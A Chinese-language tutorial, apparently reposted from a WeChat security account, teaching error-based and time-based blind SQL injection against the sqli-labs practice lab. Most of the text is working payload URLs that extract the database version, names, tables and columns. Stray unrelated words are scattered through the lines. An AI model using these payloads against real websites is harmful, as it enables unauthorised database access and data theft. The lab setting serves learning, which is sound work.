SQL注入基础(报错注入及延时注入)

没有人不辛苦,只是有人不喊疼。。。javascript

----  网易云热评java

环境:sqliweb


1、报错注入sql

一、判断是否存在报错数据库

http://192.168.77.128/sqli/Less-2/?id=1'安全

二、group by 虚拟表主键重复冲突ruby

查看数据库版本号微信

http://192.168.77.128/sqli/Less-2/?id=1 and (select 1 from (select count(*),concat(0x23,(select version()),0x23,floor(rand(0)*2))x from information_schema.tables group by x)a limit 1)


运行结果:函数

获取数据库名称工具

http://192.168.77.128/sqli/Less-2/?id=1 and (select 1 from (select count(*),concat(0x23,(select database()),0x23,floor(rand(0)*2))x from information_schema.tables group by x)a limit 1)


三、extractvalue()函数

获取sercurity数据库中的表名,经过修改limit后面的数字获取该数据库不一样的表名


http://192.168.77.128/sqli/Less-2/?id=1 and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x23))

四、updatexml()函数

获取user表名中的字段,经过修改limit后面的数字获取该数据库不一样的字段


http://192.168.77.128/sqli/Less-2/?id=1 and updatexml(2,concat(0x23,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x23),1)


2、延时注入

一、判断字符注入

http://192.168.77.128/sqli/Less-8/?id=1' and 1=2 --+ 报错

http://192.168.77.128/sqli/Less-8/?id=1' and 1=1 --+ 正常

二、判断是否存在延时


http://192.168.77.128/sqli/Less-8/?id=1' and sleep(5) --+ 延长5秒再执行


http://192.168.77.128/sqli/Less-8/?id=1 and sleep(5) --+ 没有延长

三、if与sleep结合使用

if(exp1,exp2,exp3):若是exp1为真,返回exp2,不然返回exp3

四、判断数据库长度


http://192.168.77.128/sqli/Less-8/?id=1' and if(length(database())>=8,sleep(5),1) --+

五、判断数据库名字的第一个字母


http://192.168.77.128/sqli/Less-8/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) --+

延时5秒,说明数据库的第一个字母的ASCII码为115,即s

六、根据之前内容,能够获取表名和字段名。




禁止非法,后果自负

欢迎关注公众号:web安全工具库

本文分享自微信公众号 - web安全工具库(websec-tools)。
若有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一块儿分享。

相关文章
相关标签/搜索